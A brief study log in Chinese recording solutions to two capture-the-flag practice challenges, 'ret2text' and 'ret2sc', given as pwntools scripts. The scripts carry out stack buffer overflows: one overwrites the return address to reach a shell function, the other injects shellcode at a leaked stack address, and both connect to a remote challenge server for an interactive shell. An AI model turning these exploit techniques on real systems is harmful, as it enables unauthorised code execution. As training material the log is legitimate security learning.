# 2019/12/10
- 完成 ta.foxo.tw 的 `ret2text`、`ret2sc`，並附上程式碼


### ret2text

from pwn import *
shell_add=0x400638
#r=process("./ret2text")
r=remote("140.134.25.138",20001)
#raw_input()
r.recvline()
r.sendline("a" * 0x18 + p64(shell_add))
r.interactive()

### ret2sc

from pwn import *
#r=process("./ret2sc")
r=remote("140.134.25.138",20002)

r.recvuntil("ss : ")
add=int(r.recvline(),16)
print hex(add)

context.arch="amd64"
sc = shellcraft.sh()
sc=asm(sc)
lens=0x60 - len(sc) + 0x8
r.sendline(sc+"a" * lens + p64(add))
r.interactive()